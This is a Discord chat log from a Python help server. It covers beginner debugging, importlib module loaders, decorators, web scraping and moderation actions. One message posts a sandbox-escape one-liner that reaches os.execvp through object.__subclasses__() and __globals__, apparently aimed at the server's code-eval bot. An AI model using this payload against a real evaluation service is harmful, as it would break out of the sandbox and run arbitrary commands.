codecademy @rustic perch
@rustic perch I use project euler for practice 😉
> name = "Eric"
> >>> age = 74
> >>> f"Hello, {name}. You are {age}."
> 'Hello, Eric. You are 74.'
LOL
one sec
when I remove round I get
5.60889999943911e-06
and its actually updates
or seems to updates
not just 0.0 for eternity
ok
your 100 * progress
this dude so funny
it works now 😉
i needed to multiply it by 100
lol
0.05
decimals
0.05 = 5%
Learn about the basic editing features of Visual Studio Code. Search, multiple selection, code formatting.
let me bring it up
why so many people in voice
!d importlib.import_module
importlib.import_module(name, package=None)```
Import a module. The *name* argument specifies what module to import in absolute or relative terms (e.g. either `pkg.mod` or `..mod`). If the name is specified in relative terms, then the *package* argument must be set to the name of the package which is to act as the anchor for resolving the package name (e.g. `import_module('..mod', 'pkg.subpkg')` will import `pkg.mod`).... [read more](https://docs.python.org/3/library/importlib.html#importlib.import_module)
no __import__ pls 😔
Anyone can join @gusty rose
Path(__file__).parent.iterdir() should be everything you need to find all the filenames in that folder.
you can get Path from pathlib
!e ```py
import importlib
my_sys = importlib.import_module("sys")
print(my_sys)
@whole rover :white_check_mark: Your eval job has completed with return code 0.
<module 'sys' (built-in)>
huh
That worked @whole rover
import importlib
importlib.reload(importlib)
@leaden comet
next(c for c in object.__subclasses__()if'ModuleLock'in str(c)).acquire.__globals__['sys'].modules['os'].execvp("dc",("dc","-e",input()+"p"))
Can you mute your mic if you're not talking please?? For clear voice chat
!otn a joe-talk-so-deep
:ok_hand: Added joe-talk-so-deep to the names list.
!tempmute 699333113007964321 3d intentionally disruptive in voice chat. Be more polite in the future.
:incoming_envelope: :ok_hand: applied mute to @whole bear until 2020-06-12 20:09 (2 days and 23 hours).
Thank you @leaden comet
@whole rover OFFtopic but i like Your voice
!tempmute 352571486525063168 3d being intentionally obnoxious in the voice channel
:incoming_envelope: :ok_hand: applied mute to @whole bear until 2020-06-12 20:19 (2 days and 23 hours).
So much echoes 😖😖. Please mute your mic if not in use
return _bootstrap._gcd_import(name[level:], package, level)
File "<frozen importlib._bootstrap>", line 1014, in _gcd_import
File "<frozen importlib._bootstrap>", line 991, in _find_and_load
File "<frozen importlib._bootstrap>", line 975, in _find_and_load_unlocked
File "<frozen importlib._bootstrap>", line 671, in _load_unlocked
File "<frozen importlib._bootstrap_external>", line 783, in exec_module
File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed
File "/home/xilog/autotek/at/urls.py", line 2, in <module>
from . import views
File "/home/xilog/autotek/at/views.py", line 6, in <module>
from dracoengine import draco
File "/home/xilog/autotek/dracoengine/draco.py", line 10, in <module>
from dracoengine.modules import space
File "/home/xilog/autotek/dracoengine/modules/__init__.py", line 24, in <module>
mod = importlib.import_module(import_name)
File "/usr/lib/python3.8/importlib/__init__.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
ModuleNotFoundError: No module named 'modules'
can I show the loader I have ?
yep!
import pathlib
def get_py(ignore: set = set()):
for file in pathlib.Path('.').glob('**/*.py'):
if ignore & set(file.parts):
continue
*tree, _ = file.parts
if tree:
yield '.'.join(tree) + '.' + file.stem
else:
yield file.stem
for module in get_py({'__init__.py',}):
print(module)
pathlib glob is cool
!tempban 398501375622905856 7d trolling a staff code stream by playing loud meme music
never a good sign
:ok_hand: applied ban to @woeful perch until 2020-06-16 20:43 (6 days and 23 hours).
skeppy is why we can't have nice things.
I missed a lot😣. What are we on
guys what can i automate whit python that can help me in life
Can you explain how to use Decorators?
I stopped asking questions on this server because I rubber ducky debug 100% of the time
@junior oxide hold on a minute please. I'll try
def get_py(ignore: set = set()): what kind of alien getset is this lol
def decor(func):
def wrap():
print("============")
func()
print("============")
return wrap
def print_text():
print(input())
decorated = decor(print_text)
decorated()
print_text = decor(print_text)
import importlib
import inspect
from pathlib import Path
# Create reference to this file
this_file = Path(__file__)
# Find the parent directory
module_directory = this_file.parent
# Loaded modules list
modules = []
# Iterate through all file
for file in module_directory.iterdir():
# Ignore non-Python files
if file.suffix != ".py":
continue
# Ignore the __init__.py file
if file.name == "__init__.py":
continue
import_name = f"{file.parent.stem}.{file.stem}"
# Import the module
mod = importlib.import_module(import_name)
# Fetch all items from mod
members = dict(inspect.getmembers(mod))
# Merge the variables from the sub-module with the init file
globals().update(members)
what about the decorator functions with @ signs in them
what's that all about, I can't seem to understand it
!tempban 662039837620305920 1d You're obviously here to annoy us
:ok_hand: applied ban to @sonic mortar until 2020-06-10 21:02 (23 hours and 59 minutes).
I had issues with that today but I'll get back to it when I'm free then explain to you @ivory shuttle
Great or you can try get it on sololearn @ivory shuttle
found this, so Im good now https://www.datacamp.com/community/tutorials/decorators-python
Cool. I'll chck it out now
from my_module.lemon import my_lemon_function
from my_module.orange import my_orange_function
do_not_import = 10
__all__ = ["my_lemon_function", "my_orange_function"]
why can't you stream in games/general?
longest time I've been in a discord voice chat lol
You can @junior oxide
why i am server muted? , i didnt interfere in between
i was about to say something , found out i am server muted
You can @junior oxide
@daring haven Are you sure?
Yes @junior oxide join me there
from my_module import lemon
from my_module import lemon, orange
__all__ = ["lemon", "orange"]
from my_module import lemon, orange
lemon.init_module()
orange.init_module()
for mod in modules:
mod.load_module()
09/Jun/2020 21:15:37 >> Draco Engine >> SUCCESS >> Loaded API Module
Yup it works 🙂
👍
Wow. You do scripting?? @whole bear
I do python yes.
Cool
Can you read this?
I accidentally denied microphone access and now can't turn it on.
def is_won(n_wins, best_of=3):
if n_wins > (best_of / 2):
return True
return False
!paste
Pasting large amounts of code
If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
A tool for creating an MD5 hash from a string. Use this fast, free tool to create an MD5 hash from a string.
fighter_scores = {"Sub Zero": 0,
"Scorpion": 0}
!e
fighter_scores = {"Sub Zero": 0,
"Scorpion": 0}
for score in fighter_scores.values():
print(name)
!e
s = "Sub Zero"
s = s.replace("Zero", "Hero")
print(s)
@whole bear :white_check_mark: Your eval job has completed with return code 0.
Sub Hero
s = "Sub Zero"
s.replace("Zero", "Hero")
print(s)
def add(a, b):
return a + b
def subtract(a, b):
return a - b
d = {"+" : add,
"-" : subtract}
d["+"]
d["+"](2, 2)
In this Python Django Tutorial, we will be learning how to get started using the Django framework. We will install the necessary packages and get a basic application running in our browser. Let's get started...
The code for this series can be found at:
https://github.com/Core...
# Obtains working proxy IP address from proxy list website
import urllib.request
import ssl
from bs4 import BeautifulSoup
# Set up ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Obtain raw html from website
proxies_url = 'https://www.us-proxy.org/'
request = urllib.request.Request(proxies_url, headers={'User-Agent': 'Mozilla/5.0'})
html = urllib.request.urlopen(request, context=ctx).read()
# Whittle raw html into list of IP addresses
soup = BeautifulSoup(html, 'html.parser')
proxy_table_rows = soup.select('#proxylisttable tr')[1:-1]
proxy_ip_list = [row.next_element.string + ':' + row.next_element.next_element.next_element.string
for row in proxy_table_rows]
# Test the proxies to find one that is responsive
test_url = 'https://httpbin.org/ip'
for proxy_ip in proxy_ip_list:
proxies = {'https': proxy_ip,
'http': proxy_ip}
try:
proxy_support = urllib.request.ProxyHandler(proxies)
opener = urllib.request.build_opener(proxy_support)
urllib.request.install_opener(opener)
test_response = urllib.request.urlopen(test_url).read().decode()
print(test_response)
break
except:
print(proxy_ip + ' failed')
continue
print ("room 1 \n")
user = input ("you can go north, east, or west")
if user == ("north"):
print ("room 4 \n")
user = input ("you can go east, south, or west")
if user == ("east"):
print ("room 6 \n")
user = input ("you can go north or west")
if user == ("west"):
print ("room 2 \n")
user = input ("you can go north or east")
if user == ("north"):
print ("room 5 \n")
user = input ("you can go east or south")
room_number1= (print ("room 1" "\n"
+print(input ("you can go north, east, or west"))))
room_number1= (print("room 1""\n")(input("you can go north, east, or west")))
import random
room_number1=(print("room 1""\n")(input ("you can go north, east, or west")))
room_number2=(print("room 2""\n")(input ("you can go north or east")))
room_number3=("room 3")
room_number4=("room 4")
room_number5=("room 5")
room_number6= ("room 6")
room_num_in = 1
while True:
if room_num_in == ...
while True:
dir_moved = input(...)
if dir_moved == ....
...
break
elif ...
elif ...
...
else
cool
no
Command-line program to download videos from YouTube.com and other video sites - ytdl-org/youtube-dl
here
hi
@dry jackal
In this video I am going to show How to Set Up Python Development environment in Visual Studio Code in windows 10. I am also going to show ow to debug your python code using vs code. This process will also cover How to Install Python and Visual Studio Code for Windows 10. You...
hey people
why not use a package manager?
so you can just chocolate install python3
That's an example
On Debian I just use apt
¯_(ツ)_/¯ package managers in windows
I think people use what they know on windows
I personally use anaconda distribution if I have to use a PC
not it's best cause I don't know, but it just does (tm)

nah
Was curious, since you joined the Code/Help voice channel
@upper steeple Did you need code help?
no just wondering if the person in vc did lol
Ah, they don't appear to be responding/available
alright then lol
can u specify where exactly
@hollow pendant What was your question?
@whole bear please mute mic if you have background noise
i was listening to my favourite song
ö i hate you now
dis hit hard ö
me doing this for video
switching server
!warn 650057575869579274 "This is your last warning, mute your mic if there's background sound and don't disrupt channel"
:incoming_envelope: :ok_hand: applied warning to @whole bear.
lol ok#
I personally use anaconda distribution if I have to use a PC
@polar palm
I use miniconda in whatever environment I have to use xD
I love it!
from bs4 import BeautifulSoup
URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'
headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}
page = requests.get(URL, headers=headers)
soup = BeautifulSoup(page.content, 'html.parser')
title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
converted_price = price[0:5]
print(converted_price)
C:\Users\Adem\Desktop\Scraper>python index.py
Traceback (most recent call last):
File "index.py", line 14, in <module>
converted_price = price[0:5]
File "C:\Users\Adem\AppData\Local\Programs\Python\Python38-32\lib\site-packages\bs4\element.py", line 1401, in getitem
return self.attrs[key]
TypeError: unhashable type: 'slice'
from bs4 import BeautifulSoup
URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'
headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}
page = requests.get(URL, headers=headers)
soup = BeautifulSoup(page.content, 'html.parser')
title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
converted_price = price[0:5]
print(converted_price)
print(title)
K95 RGB PLATINUM XT Mechanical Gaming Keyboard — CHERRY® MX SPEED
from bs4 import BeautifulSoup
URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'
headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}
page = requests.get(URL, headers=headers)
soup = BeautifulSoup(page.content, 'html.parser')
title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
print(title)
int(price)
price = soup.find( int(price)id="price")
price = soup.find(id="price")
parsePrice = int(price)
from bs4 import BeautifulSoup
URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'
headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}
page = requests.get(URL, headers=headers)
soup = BeautifulSoup(page.content, 'html.parser')
title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
parsePrice = int(price)
converted_price = price[0:5]
print(converted_price)
print(title)```
C:\Users\Adem\Desktop\Scraper>C:/Users/Adem/AppData/Local/Programs/Python/Python38-32/python.exe c:/Users/Adem/Desktop/Scraper/index.py
Traceback (most recent call last):
File "c:/Users/Adem/Desktop/Scraper/index.py", line 14, in <module>
parsePrice = int(price)
TypeError: int() argument must be a string, a bytes-like object or a number, not 'Tag'
price = soup.find(id="price").get_text()
converted_price = int(price)
print(converted_price)
@halcyon nest
hello
import random
random.randint(9, 12);
print("Hello World")
def try:
print("try complete")
<p><a href="http://djmimi.net/site/#subscribe" rel="nofollow"><...
guys how can ı add my website this maps addition just like that
iplay = True
whattt = ["You","Never","Played","Tuber Simulator"]
for blubblub in whattt:
print(blubblub) if iplay == True else print("WOTTTTTTT "*5)
thx @upper steeple
`
test

@help-python =>hey i need help with modifying/adding code to my GUI interface, I need to add timer/counter of max 60 min(59:59) minutes and seconds which when im pressing a button im doing couple things including launching this counter when he gets to zero im sending from my server/GUI '-1' to the clients in order to stop the traffic ..
im using tkinter lib thanks for the helpers!
@everyone Are there any good alternatives towards GUI python devlopement than using Tkinter?
@rough linden PyQT
i have a question about python is there anyone that can help me?
@earnest crag
hey wassup
i just gonna start up selenium any 1 knows already
i'm there at games channel lets have a talk
Sounds like you guuys are doing a ritual-
Someone asked me if hola was french, that was the day i questioned my existance.
I can't talk rn but i can unmute...
something i'm giving up on you
??
You told me to though?
Don't feel bad about yourselves.
;c
Ill talk when i wake up
sequence = models.CharField(max_length=20, help="Sequence number attributed by the bank")
help doesn't exist
found it:
sequence = models.CharField(max_length=20, help_text="Sequence number attributed by the bank")
xie hua piao piao
@thin shale
是
不
Google's free service instantly translates words, phrases, and web pages between English and over 100 other languages.
!rule 4
4. This is an English-speaking server, so please speak English to the best of your ability.
The guy has trouble speaking english
Ah, I see
And he can't quite access translate service from China
如何学好一门编程语言
Hmm, yeah, that's difficult
哪一个?